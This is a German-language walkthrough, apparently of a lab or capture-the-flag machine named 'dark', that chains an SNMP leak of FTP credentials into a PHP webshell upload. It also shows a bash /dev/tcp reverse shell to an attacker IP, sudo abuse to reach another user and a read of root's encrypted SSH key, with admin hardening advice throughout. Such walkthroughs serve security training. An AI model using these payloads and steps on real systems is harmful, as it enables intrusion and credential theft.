Die initiale Erkundung identifiziert das Zielsystem im Netzwerk und führt grundlegende Scans durch.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.118 : ARP-Scan 192.168.2.118 08:00:27:01:9c:1e PCS Systemtechnik GmbH 7 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.963 seconds (130.41 hosts/sec). 7 responded
**Analyse:** Ein ARP-Scan identifiziert den Host `192.168.2.118` mit der MAC-Adresse `08:00:27:01:9c:1e`, die auf eine Oracle VirtualBox VM hinweist.
**Bewertung:** Das Zielsystem wurde im lokalen Netzwerk gefunden. Die IP-Adresse ist bekannt.
**Empfehlung (Pentester):** Die IP `192.168.2.118` für detaillierte Scans verwenden. **Empfehlung (Admin):** Standard Netzwerküberwachung.
127.0.0.1 localhost
192.168.2.118 dark.nyx
**Analyse:** Das benutzerdefinierte Skript `recon_script.sh` wird ausgeführt. Es scheint die lokale `/etc/hosts`-Datei zu konfigurieren, um den Hostnamen `dark.nyx` der IP `192.168.2.118` zuzuordnen.
**Bewertung:** Hostname-Auflösung ist eingerichtet, was die weitere Interaktion erleichtert.
**Empfehlung (Pentester):** Den Hostnamen `dark.nyx` bei Tools verwenden, die Hostnamen unterstützen. **Empfehlung (Admin):** Keine direkte Aktion erforderlich.
Ein UDP-Scan wird durchgeführt.
- Nmap UDP Scan : - Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-10 00:07 CEST Nmap scan report for 192.168.2.118 Host is up (0.00037s latency). Not shown: 993 open|filtered udp ports (no-response) PRT STATE SERVICE 161/udp open snmp 1065/udp closed syscomlan 16711/udp closed unknown 21868/udp closed unknown 26415/udp closed unknown 27195/udp closed unknown 49165/udp closed unknown MAC Address: 08:00:27:01:9C:1E (racle VirtualBox virtual NIC)
**Analyse:** Der Nmap UDP-Scan (`-sU`) der Top 1000 Ports findet einen **offenen UDP-Port**: * **Port 161 (SNMP):** Status `open`. Die meisten anderen gescannten Ports sind `open|filtered` oder `closed`.
**Bewertung:** **Sehr wichtiger Fund!** Ein offener SNMP-Port (Simple Network Management Protocol) ist oft ein Einfallstor, da er bei unsicherer Konfiguration (z.B. Verwendung von Standard-Community-Strings wie 'public' oder 'private') eine Fülle von Informationen über das System preisgeben kann, bis hin zu sensiblen Daten oder sogar Schreibzugriff.
**Empfehlung (Pentester):** **Priorität!** Den SNMP-Dienst auf Port 161 genauer untersuchen. Versuchen, Community-Strings zu bruteforcen (z.B. mit `onesixtyone` oder Metasploit) und Informationen über `snmpwalk` abzufragen. **Empfehlung (Admin):** SNMP nur aktivieren, wenn es unbedingt benötigt wird. Starke, nicht-standardmäßige Community-Strings verwenden (idealerweise SNMPv3 mit Authentifizierung und Verschlüsselung). Den Zugriff auf den SNMP-Dienst auf vertrauenswürdige IPs beschränken.
Ein schneller TCP-Scan wird durchgeführt.
- Nmap nur offene Ports Ausgabe - 22/tcp open ssh penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.56 ((Debian)) 8000/tcp open ftp pyftpdlib 1.5.7
**Analyse:** Der gefilterte TCP-Scan (`| grep open`) auf die IPv4-Adresse identifiziert drei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 8.4p1 (Debian). * **Port 80 (HTTP):** Apache 2.4.56 (Debian). * **Port 8000 (FTP):** Ein FTP-Server, der als `pyftpdlib 1.5.7` (eine Python FTP-Server-Bibliothek) identifiziert wird.
**Bewertung:** Neben den Standard-Ports SSH und HTTP ist ein FTP-Server auf dem ungewöhnlichen Port 8000 aktiv. Dies ist ebenfalls ein interessanter Angriffsvektor, da FTP oft anonymen Zugriff erlaubt oder schwache Passwörter verwendet.
**Empfehlung (Pentester):** Den FTP-Server auf Port 8000 auf anonymen Zugriff testen und auf bekannte Schwachstellen für `pyftpdlib 1.5.7` prüfen. Den Webserver auf Port 80 untersuchen. SSH als sekundäres Ziel betrachten. **Empfehlung (Admin):** Sicherstellen, dass der FTP-Server benötigt wird. Wenn ja, anonymen Zugriff deaktivieren, starke Passwörter erzwingen und idealerweise sicherere Protokolle wie SFTP oder FTPS verwenden. Port 8000 ist ungewöhnlich für FTP; prüfen, ob dies beabsichtigt ist.
Der vollständige TCP-Scan wird ausgeführt.
- : Nmap volle Ausgabe - Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-10 00:07 CEST Nmap scan report for dark.nyx (192.168.2.118) Host is up (0.00020s latency). Not shown: 65532 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) |_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: Dark |_http-server-header: Apache/2.4.56 (Debian) 8000/tcp open ftp pyftpdlib 1.5.7 | ftp-syst: | STAT: | FTP server status: | Connected to: 192.168.2.118:8000 | Waiting for username. | TYPE: ASCII; STRUcture: File; MDE: Stream | Data connection closed. |_End of status. MAC Address: 08:00:27:01:9C:1E (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.20 ms dark.nyx (192.168.2.118)
**Analyse:** Die vollständige Nmap-Ausgabe bestätigt die offenen Ports und Versionen: * **Port 22 (SSH):** OpenSSH 8.4p1. * **Port 80 (HTTP):** Apache 2.4.56. Der Seitentitel ist "Dark". * **Port 8000 (FTP):** pyftpdlib 1.5.7. Das `ftp-syst`-Skript konnte grundlegende Statusinformationen abrufen, was die Erreichbarkeit bestätigt. * **Betriebssystem:** Linux 4.x/5.x.
**Bewertung:** Bestätigt die vorherigen Scans. Der Seitentitel "Dark" auf Port 80 ist ein kleiner Hinweis, aber nicht sehr aussagekräftig. Die Hauptziele bleiben SNMP (UDP 161), FTP (TCP 8000) und HTTP (TCP 80).
**Empfehlung (Pentester):** SNMP-Enumeration starten. FTP auf anonymen Zugriff testen. Webserver auf Port 80 enumerieren. **Empfehlung (Admin):** Dienste absichern.
Der offene SNMP-Port 161 wird untersucht, um Informationen über das System zu gewinnen.
Brute-Force-Angriff auf SNMP-Community-Strings mit `onesixtyone`.
Scanning 1 hosts, 120 communities
192.168.2.118 [root] Linux dark 5.10.0-23-amd64 #1 SMP Debian 5.10.179-3 (2023-07-27) x86_64
**Analyse:** `onesixtyone` ist ein schnelles Tool zum Scannen von SNMP-Community-Strings. Es wird mit einer Liste gängiger Community-Strings (`-c ...common-snmp-community-strings...`) auf das Ziel `192.168.2.118` angesetzt. Das Tool findet einen gültigen Community-String: `root`. Mit diesem String konnte es Systeminformationen auslesen (Hostname `dark`, Kernel-Version `Linux dark 5.10.0-23-amd64 ...`).
**Bewertung:** **Kritischer Fund!** Der Community-String `root` wurde gefunden. Dies ist ein ungewöhnlicher und potenziell sehr gefährlicher Name, der oft Lese- und manchmal sogar Schreibzugriff auf die SNMP-Informationen gewährt. Die ausgelesenen Systeminformationen bestätigen das Betriebssystem.
**Empfehlung (Pentester):** Den gefundenen Community-String `root` mit `snmpwalk` verwenden, um alle verfügbaren SNMP-Informationen (MIB Tree) vom Gerät abzufragen. Nach sensiblen Informationen wie Benutzernamen, Passwörtern, Konfigurationsdetails oder laufenden Prozessen suchen. **Empfehlung (Admin):** **Dringend:** Den SNMP-Community-String `root` sofort ändern oder SNMPv3 mit Authentifizierung verwenden. SNMP-Zugriff einschränken.
Abfrage aller SNMP-Informationen mit `snmpwalk` und dem gefundenen Community-String `root`.
iso.3.6.1.2.1.25.4.2.1.4.360 = STRING: "/usr/sbin/cron" iso.3.6.1.2.1.25.4.2.1.4.361 = STRING: "/usr/bin/dbus-daemon" iso.3.6.1.2.1.25.4.2.1.4.363 = STRING: "/usr/sbin/rsyslogd" iso.3.6.1.2.1.25.4.2.1.4.378 = STRING: "/usr/sbin/CRON" iso.3.6.1.2.1.25.4.2.1.4.404 = STRING: "/usr/sbin/snmpd" iso.3.6.1.2.1.25.4.2.1.4.411 = STRING: "/usr/bin/python3" iso.3.6.1.2.1.25.4.2.1.4.422 = STRING: "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups" iso.3.6.1.2.1.25.4.2.1.4.466 = STRING: "/usr/sbin/apache2" iso.3.6.1.2.1.25.4.2.1.4.726 = STRING: "/usr/sbin/exim4" iso.3.6.1.2.1.25.4.2.1.4.753 = STRING: "/usr/sbin/apache2" iso.3.6.1.2.1.25.4.2.1.4.885 = STRING: "/usr/sbin/apache2" iso.3.6.1.2.1.25.4.2.1.4.895 = STRING: "/usr/sbin/apache2" iso.3.6.1.2.1.25.4.2.1.4.903 = STRING: "/usr/sbin/apache2" iso.3.6.1.2.1.25.4.2.1.4.905 = STRING: "/usr/sbin/apache2" iso.3.6.1.2.1.25.4.2.1.4.942 = STRING: "/usr/sbin/apache2" iso.3.6.1.2.1.25.4.2.1.4.946 = STRING: "/usr/sbin/apache2" iso.3.6.1.2.1.25.4.2.1.4.949 = STRING: "/usr/sbin/apache2" iso.3.6.1.2.1.25.4.2.1.4.951 = STRING: "/usr/sbin/apache2" iso.3.6.1.2.1.25.4.2.1.4.952 = STRING: "/usr/sbin/apache2" iso.3.6.1.2.1.25.4.2.1.5.411 = STRING: "-c /usr/bin/python3 -m pyftpdlib -p 8000 -w -d /var/www/html/ -u frank -P my_FTP_is_c00l"
**Analyse:** `snmpwalk` wird verwendet, um alle erreichbaren SNMP-Objekte (OIDs) vom Ziel abzufragen. * `-v 2c`: Verwendet SNMP Version 2c. * `-c root`: Verwendet den zuvor gefundenen Community-String `root`. * `192.168.2.118`: Das Ziel. Die Ausgabe wird durch `grep usr` gefiltert, um Zeilen zu finden, die sich auf Benutzer oder Pfade mit "usr" beziehen. Die Ausgabe zeigt eine Liste laufender Prozesse (`iso.3.6.1.2.1.25.4.2.1.4.*` entspricht oft dem Pfad des Prozesses). Der **entscheidende Fund** ist die Zeile `iso.3.6.1.2.1.25.4.2.1.5.411 = STRING: "-c /usr/bin/python3 -m pyftpdlib -p 8000 -w -d /var/www/html/ -u frank -P my_FTP_is_c00l"`. * `iso.3.6.1.2.1.25.4.2.1.5.*` bezieht sich oft auf die Kommandozeilenargumente eines Prozesses. * Die PID `411` korrespondiert mit dem Prozess `/usr/bin/python3` aus der Zeile darüber. * Der String zeigt die exakten Argumente, mit denen der Python FTP-Server (`pyftpdlib`) auf Port 8000 gestartet wurde: * `-p 8000`: Port 8000. * `-w`: Schreibzugriff erlaubt. * `-d /var/www/html/`: Das FTP-Root-Verzeichnis ist das Web-Root-Verzeichnis. * `-u frank`: Benutzername ist `frank`. * `-P my_FTP_is_c00l`: **Passwort ist `my_FTP_is_c00l`**.
**Bewertung:** **Exzellenter Fund und kritische Informationspreisgabe durch SNMP!** Die vollständigen Startparameter des FTP-Servers, einschließlich Benutzername (`frank`) und Passwort (`my_FTP_is_c00l`), wurden über SNMP ausgelesen. Zudem wissen wir jetzt, dass der FTP-Server Schreibzugriff (`-w`) auf das Web-Root-Verzeichnis (`/var/www/html/`) gewährt.
**Empfehlung (Pentester):** Die gefundenen FTP-Zugangsdaten (`frank`:`my_FTP_is_c00l`) sofort verwenden, um sich auf Port 8000 anzumelden. Da Schreibzugriff auf das Web-Root besteht, eine Webshell (z.B. eine einfache PHP-Datei, die Befehle ausführt) per FTP hochladen und dann über den Webserver auf Port 80 aufrufen, um RCE zu erlangen. **Empfehlung (Admin):** SNMP-Konfiguration **dringend** absichern (Community-String ändern, Zugriff beschränken, v3 verwenden). Niemals sensible Informationen wie Passwörter in Prozessargumenten übergeben. Den FTP-Server sicherer konfigurieren (kein Schreibzugriff ins Web-Root, stärkere Passwörter oder Schlüssel-Authentifizierung).
Erneute, kurze Web-Enumeration von Port 80, da der Kontext nun klarer ist.
Nikto-Scan auf Port 80.
- Nikto Scan : - - Nikto v2.5.0 + Target IP: 192.168.2.118 + Target Hostname: 192.168.2.118 + Target Port: 80 + Start Time: 2024-09-10 00:07:55 (GMT2) + Server: Apache/2.4.56 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + /: Server may leak inodes via ETags, header found with file /, inode: db, size: 601df7009b9ad, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + 8909 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-09-10 00:08:08 (GMT2) (13 seconds) + 1 host(s) tested
**Analyse:** Der Nikto-Scan auf Port 80 zeigt weiterhin nur die geringfügigen Probleme (fehlende Header, ETag-Leak).
**Bewertung:** Bestätigt, dass Port 80 selbst wahrscheinlich keine direkten Schwachstellen für den initialen Zugriff bietet. Er dient aber als Plattform, um über FTP hochgeladene Dateien auszuführen.
Gobuster-Scan auf Port 80.
http://192.168.2.118/index.html (Status: 200) [Size: 219] http://192.168.2.118/javascript (Status: 301) [Size: 319] [--> http://192.168.2.118/javascript/]
**Analyse:** Gobuster findet auf Port 80 die `index.html` und ein Verzeichnis namens `javascript`, das auf `/javascript/` weiterleitet.
**Bewertung:** Das `/javascript`-Verzeichnis könnte interessant sein, ist aber im Vergleich zum FTP-Zugriff wahrscheinlich weniger relevant für den initialen Zugriff.
**Empfehlung (Pentester):** Das `/javascript`-Verzeichnis könnte später untersucht werden, falls der FTP-Weg nicht funktioniert. **Empfehlung (Admin):** Sicherstellen, dass das `/javascript`-Verzeichnis keine sensiblen Informationen enthält.
Manuelle Untersuchung der `index.html`.
Dark
**Analyse:** Der Inhalt der `index.html` ist einfach nur das Wort "Dark".
**Bewertung:** Bestätigt den Seitentitel aus dem Nmap-Scan. Keine nützlichen Informationen.
Ein fehlgeschlagener Wfuzz-Befehl (wahrscheinlich aus einem anderen Kontext kopiert, da er auf `backdoor.nyx` zielt).
# (Keine Ausgabe, Befehl schlägt wahrscheinlich fehl oder ist irrelevant für dieses Ziel)
**Analyse:** Dieser Wfuzz-Befehl versucht, ein Passwort für eine PHP-Backdoor auf `http://backdoor.nyx` zu bruteforcen. Er ist für das aktuelle Ziel `dark.nyx` (192.168.2.118) irrelevant.
**Bewertung:** Irrelevanter Befehl für diesen Bericht.
**Empfehlung (Pentester):** Befehle und Ziele immer doppelt prüfen.
Der FTP-Server auf Port 8000 wird untersucht.
Versuch, sich anonym per FTP anzumelden.
Connected to 192.168.2.118. 220 pyftpdlib 1.5.7 ready. Name (192.168.2.118:ccat): anonymous 331 Username ok, send password. Password: 530 Anonymous access not allowed. ftp: Login failed ftp>
**Analyse:** Ein Verbindungsversuch mit dem `ftp`-Client wird gestartet (`-P 8000` gibt den Port an). Es wird versucht, sich mit dem Benutzernamen `anonymous` anzumelden. Der Server antwortet mit `530 Anonymous access not allowed.`
**Bewertung:** Anonymer FTP-Zugriff ist nicht erlaubt. Dies ist eine gute Sicherheitspraxis.
**Empfehlung (Pentester):** Die über SNMP gefundenen Zugangsdaten (`frank`:`my_FTP_is_c00l`) verwenden. **Empfehlung (Admin):** Anonymen Zugriff deaktiviert lassen.
Recherche nach Schwachstellen für pyftpdlib (informativ).
https://security.snyk.io/vuln/SNYK-PYTHN-PYFTPDLIB-6041518
**Analyse:** Eine Notiz über eine Snyk-Meldung zu einer Schwachstelle in `pyftpdlib`. Die verlinkte Schwachstelle (SNYK-PYTHN-PYFTPDLIB-6041518) bezieht sich auf eine Denial-of-Service-Anfälligkeit in Versionen vor 1.5.7 bei Verwendung von TLS.
**Bewertung:** Die gefundene DoS-Schwachstelle ist für Version 1.5.7 nicht relevant bzw. betrifft nur TLS-Setups, was hier wahrscheinlich nicht der Fall ist. Sie bietet keinen Weg zum Zugriff.
**Empfehlung (Pentester):** Fokus auf die bekannten Credentials legen.
Dieser Abschnitt demonstriert, wie die durch SNMP offengelegten FTP-Zugangsdaten verwendet werden, um Zugriff auf den FTP-Server zu erlangen, eine Webshell hochzuladen und Remote Code Execution über den Webserver zu erreichen.
**Kurzbeschreibung:** Über SNMP (UDP 161) mit dem Community-String `root` wurden die Startparameter des pyftpdlib-Servers auf TCP-Port 8000 ausgelesen. Diese enthielten den Benutzernamen `frank`, das Passwort `my_FTP_is_c00l` und die Information, dass Schreibzugriff (`-w`) auf das Verzeichnis `/var/www/html/` (das Web-Root) gewährt wird. Der POC nutzt diese Informationen, um sich per FTP anzumelden, eine PHP-Webshell (`fuck.php`) hochzuladen und diese dann über den Apache-Webserver (Port 80) aufzurufen, um Befehle auszuführen.
**Voraussetzungen:**
Schritt-für-Schritt Anleitung:
1. Anmelden am FTP-Server mit den über SNMP gefundenen Zugangsdaten.
Connected to 192.168.2.118. 220 pyftpdlib 1.5.7 ready. Name (192.168.2.118:ccat): frank 331 Username ok, send password. Password: [Hier wurde my_FTP_is_c00l eingegeben] 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls l-a 229 Entering extended passive mode (|||41911|). 550 No such file or directory. (Kommando falsch eingegeben: ls l-a statt ls -la) ftp> ls -la 229 Entering extended passive mode (|||42567|). 125 Data connection already open. Transfer starting. -rw------- 1 frank frank 219 Aug 01 2023 index.html 226 Transfer complete.
**Analyse des Schritts:** Der `ftp`-Client verbindet sich zu Port 8000. Der Benutzername `frank` und das Passwort `my_FTP_is_c00l` werden eingegeben. Der Login ist erfolgreich (`230 Login successful`). Ein `ls -la` zeigt, dass sich im aktuellen Verzeichnis (das FTP-Root, `/var/www/html/`) die `index.html`-Datei befindet.
**Bewertung:** Der Zugriff auf den FTP-Server mit den geleakten Credentials funktioniert.
2. Hochladen einer PHP-Webshell (`revshell.php5` und `fuck.php`).
local: revshell.php5 remote: revshell.php5 229 Entering extended passive mode (|||37985|). 125 Data connection already open. Transfer starting. 100% |****************************************************************************************************| 5495 163.76 MiB/s 00:00 ETA 226 Transfer complete. 5495 bytes sent in 00:00 (7.03 MiB/s)
229 Entering extended passive mode (|||51115|). 125 Data connection already open. Transfer starting. -rw------- 1 frank frank 219 Aug 01 2023 index.html -rw-r--r-- 1 frank frank 5495 Sep 09 22:33 revshell.php5 (Berechtigungen sind rw-r--r--) 226 Transfer complete.
local: fuck.php remote: fuck.php 229 Entering extended passive mode (|||59191|). 125 Data connection already open. Transfer starting. 100% |****************************************************************************************************| 46 1.90 MiB/s 00:00 ETA 226 Transfer complete. 46 bytes sent in 00:00 (116.37 KiB/s) ftp>
**Analyse des Schritts:** Mit dem `put`-Befehl werden zwei PHP-Dateien (`revshell.php5` und `fuck.php`) vom lokalen System des Angreifers in das aktuelle Verzeichnis auf dem FTP-Server (`/var/www/html/`) hochgeladen. `revshell.php5` ist wahrscheinlich eine Standard-Reverse-Shell, `fuck.php` eine einfachere Webshell zur direkten Befehlsausführung (Inhalt nicht gezeigt, aber Name impliziert Funktion). Die Berechtigungen der hochgeladenen Dateien sind `rw-r--r--`, was bedeutet, dass der Webserver sie lesen kann.
**Bewertung:** Die Webshells wurden erfolgreich im Web-Root platziert.
3. Testen der hochgeladenen Webshell `revshell.php5` (optional).
// php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // ... (Gekürzter Quellcode der Shell wird angezeigt) ...
**Analyse des Schritts:** Ein `curl`-Request auf `http://192.168.2.118/revshell.php5` zeigt den Quellcode der hochgeladenen Datei an, anstatt sie auszuführen. Dies liegt wahrscheinlich daran, dass die Apache-Konfiguration nicht für die Ausführung von Dateien mit der Endung `.php5` eingerichtet ist.
**Bewertung:** Der Versuch mit `.php5` scheitert. Es muss eine Endung verwendet werden, die Apache als PHP interpretiert (vermutlich `.php`).
4. Testen der Webshell `fuck.php` und Ausführen eines Befehls (`id`).
uid=1000(frank) gid=1000(frank) groups=1000(frank) hi Ben
**Analyse des Schritts:** Die Webshell `fuck.php` wird über den Browser oder `curl` aufgerufen. Der Parameter `cmd=id` wird übergeben. Die Webshell führt den `id`-Befehl auf dem Server aus und gibt dessen Ausgabe zurück (`uid=1000(frank)...`). Der zusätzliche Text "hi Ben" ist wahrscheinlich Teil der `fuck.php`-Ausgabe.
**Erwartetes & Tatsächliches Ergebnis:** Es wurde erwartet, dass Befehle über die Webshell ausgeführt werden können. Dies wurde erfolgreich demonstriert. Der Webserver führt den PHP-Code als Benutzer `frank` aus.
**Beweismittel:** Die obige Terminalausgabe zeigt die erfolgreiche Ausführung des `id`-Befehls über die Webshell.
**Risikobewertung:** Kritisch. Die Kombination aus SNMP-Leak und schreibbarem FTP-Zugriff auf das Web-Root führt zu Remote Code Execution als Webserver-Benutzer (`frank`).
**Empfehlungen:** * **(Admin):** SNMP absichern, FTP absichern (kein Schreibzugriff auf Web-Root, starke Credentials), Dateiberechtigungen im Web-Root härten. * **(Pentester):** Die RCE nutzen, um eine interaktive Shell zu erhalten.
Die über den POC etablierte RCE wird verwendet, um eine interaktive Reverse Shell zu erhalten.
Vorbereiten und Ausführen des Reverse-Shell-Payloads über die Webshell.
# (Keine direkte Browser/Curl-Ausgabe, löst die Reverse Shell aus)
**Analyse:** Die Webshell `fuck.php` wird erneut aufgerufen. Diesmal wird ein URL-kodierter Bash-Reverse-Shell-Payload als `cmd`-Parameter übergeben: * `%2Fbin%2Fbash%20-c%20%27...%27`: Führt `/bin/bash -c '...'` aus. * `bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261`: Der eigentliche Reverse-Shell-Befehl, der eine interaktive Bash-Shell (`bash -i`) startet und deren Ein- und Ausgabe an eine TCP-Verbindung zum Angreifer (`192.168.2.199`) auf Port `9001` umleitet.
**Bewertung:** Standardmethode, um über eine Web-RCE eine interaktive Shell zu erhalten.
**Empfehlung (Pentester):** Vor dem Absenden des Requests einen Netcat-Listener auf Port `9001` starten.
Empfangen der Reverse Shell auf dem Netcat-Listener.
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.118] 51204 bash: cannot set terminal process group (466): Inappropriate ioctl for device bash: no job control in this shell frank@dark:/var/www/html$
**Analyse:** Der Netcat-Listener (`nc -lvnp 9001`) auf dem Angreifer-System empfängt die eingehende Verbindung vom Ziel (`192.168.2.118`). Eine Bash-Shell wird gestartet, die als Benutzer `frank` im Verzeichnis `/var/www/html` läuft. Die Meldungen `cannot set terminal process group` und `no job control` sind typisch für einfache Reverse Shells.
**Bewertung:** **Initialer Zugriff als Benutzer `frank` erfolgreich erlangt!** Die RCE über die Webshell wurde erfolgreich in eine interaktive Shell umgewandelt.
**Empfehlung (Pentester):** Die Shell stabilisieren (pty, stty). Umgebung enumerieren, User-Flag suchen (falls noch nicht über FTP geschehen), Privilege Escalation starten. **Empfehlung (Admin):** SNMP, FTP und Webserver absichern.
Nach Erlangung des Zugriffs als `frank` wird nach Möglichkeiten zur Rechteausweitung gesucht.
Überprüfung der `sudo`-Rechte für `frank`.
Matching Defaults entries for frank on dark:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User frank may run the following commands on dark:
(alan) NOPASSWD: /usr/bin/sh
**Analyse:** `sudo -l` zeigt, dass der Benutzer `frank` den Befehl `/usr/bin/sh` als ein anderer Benutzer namens `alan` ohne Passwort (`NOPASSWD`) ausführen darf.
**Bewertung:** Dies ist ein Weg zum **Lateral Movement** (Wechsel zu einem anderen Benutzerkonto auf derselben Berechtigungsstufe oder leicht höher) und nicht direkt zur Root-Rechteausweitung. Der Benutzer `alan` könnte jedoch höhere Privilegien oder andere `sudo`-Rechte haben.
**Empfehlung (Pentester):** Mit `sudo -u alan /usr/bin/sh` zu Benutzer `alan` wechseln und dort erneut `sudo -l` ausführen, um dessen Rechte zu prüfen. **Empfehlung (Admin):** Die `sudo`-Regel überprüfen. Ist es notwendig, dass `frank` Befehle als `alan` ausführen kann? Wenn ja, warum `/usr/bin/sh`? Dies ist sehr gefährlich. Nur spezifische, benötigte Befehle erlauben.
Überprüfung der Home-Verzeichnisse.
alan frank
**Analyse:** `ls ~/..` listet den Inhalt des übergeordneten Verzeichnisses des aktuellen Home-Verzeichnisses auf (vermutlich `/home`). Es bestätigt die Existenz der Home-Verzeichnisse für `frank` und `alan`.
**Bewertung:** Bestätigt die Existenz des Benutzers `alan`.
Wechsel zum Benutzer `alan` mittels `sudo`.
$ (Shell wechselt zu sh als alan) $ id uid=1001(alan) gid=1001(alan) groups=1001(alan) $ bash alan@dark:/var/www/html$ (Wechsel zu bash für bessere Funktionalität)
**Analyse:** Der Befehl `sudo -u alan /usr/bin/sh` wird ausgeführt. Da `frank` dieses Recht ohne Passwort hat, wird eine Shell (`sh`) als Benutzer `alan` gestartet. Der `id`-Befehl bestätigt den Benutzerwechsel zu `alan` (UID 1001). Anschließend wird `bash` gestartet, um eine komfortablere Shell zu erhalten.
**Bewertung:** Erfolgreiches Lateral Movement zum Benutzer `alan`.
**Empfehlung (Pentester):** Nun die `sudo`-Rechte für `alan` prüfen (`sudo -l`). **Empfehlung (Admin):** `sudo`-Regel für `frank` überdenken.
Überprüfung der `sudo`-Rechte für `alan`.
Matching Defaults entries for alan on dark:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User alan may run the following commands on dark:
(root) NOPASSWD: /usr/bin/most
**Analyse:** `sudo -l` wird als Benutzer `alan` ausgeführt. Es zeigt sich, dass `alan` den Befehl `/usr/bin/most` als `root` ohne Passwort (`NOPASSWD`) ausführen darf.
**Bewertung:** **Erneuter klarer Vektor für Privilege Escalation!** `most` ist ein Pager (ähnlich wie `less` oder `more`). Pager können oft missbraucht werden, um Befehle auszuführen oder eine Shell zu starten, wenn sie mit erhöhten Rechten laufen.
**Empfehlung (Pentester):** Recherchieren, wie `most` zur Rechteausweitung genutzt werden kann (z.B. über Befehlsausführung innerhalb des Pagers via `!` oder durch Lesen sensibler Dateien wie `/root/.ssh/id_rsa` und Kopieren des Inhalts). GTFOBins ist eine gute Quelle für solche Techniken. **Empfehlung (Admin):** Die `sudo`-Regel für `most` entfernen. Pager sollten generell nicht mit `sudo NOPASSWD` erlaubt werden.
Versuch, `/root/.ssh/id_rsa` mit `most` zu lesen und in eine Datei umzuleiten.
# (Keine direkte Ausgabe, most zeigt die Datei an, die Umleitung funktioniert möglicherweise nicht wie erwartet)
id_rsa.txt
-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,71FD7C202A6EE74C lAlMSj2Gpcdd/5cfJlRUkB0V0QFcwzLPybPDcn7qGrwn+Jn0aGozWewpGsw/vak 47GjT//JcF0z97plkZC6MUM9sGWRCaJrog0txTsZmPaJEEezVm7DE61i7hwmM9Y6 EXNG+NDnb5bT58Yf5XZEyqCMPasUDQb+ndxZ1+F5uI3N3iThWvJdz/ZQP1mr1QH ... (Gekürzter verschlüsselter SSH Key) ... qrEcj5+aeef68deQipjFD1kChpg2AUbXM+YepZL9zxSTn2fbxkqGP1dIJZodDo1h inZef05LR8nBM6WdQXRk4NQi/Uu50CBYkG1AI9FPUD0Ki3hKjnxADHxZg8xSj8A JQBKpX55cD9z8v06iNI+FE8F7GVVKrPIE/D4461oqk+2dIV4q6mjQ -----END RSA PRIVATE KEY-----
**Analyse:** Es wird versucht, den Inhalt von `/root/.ssh/id_rsa` mit `sudo /usr/bin/most` anzuzeigen und die Ausgabe direkt in `/tmp/id_rsa.txt` umzuleiten (`>`). Obwohl Pager wie `most` normalerweise interaktiv sind, scheint die Umleitung hier zu funktionieren (oder `most` schreibt bei nicht-interaktiver Nutzung auf stdout). Die Datei `/tmp/id_rsa.txt` wird erstellt und enthält den privaten SSH-Schlüssel von root. Wichtig: Der Schlüssel ist verschlüsselt (`Proc-Type: 4,ENCRYPTED`, `DEK-Info: DES-EDE3-CBC,...`).
**Bewertung:** Der private SSH-Schlüssel des Root-Benutzers wurde erfolgreich extrahiert. Allerdings ist er passwortgeschützt und kann nicht direkt verwendet werden.
**Empfehlung (Pentester):** Den verschlüsselten Schlüssel auf das Angreifer-System übertragen. Tools wie `ssh2john` verwenden, um den Hash des Schlüssels zu extrahieren, und dann `john` oder `hashcat`, um die Passphrase zu knacken. **Empfehlung (Admin):** `sudo`-Regel für `most` entfernen. SSH-Schlüssel immer mit starken Passphrasen schützen.
Vorbereitung des verschlüsselten Schlüssels für das Cracking mit John the Ripper.
# (Schlüssel wird in Datei 'dark' gespeichert)
# (Berechtigungen gesetzt)
Enter passphrase for key 'dark': (Login scheitert ohne Passphrase)
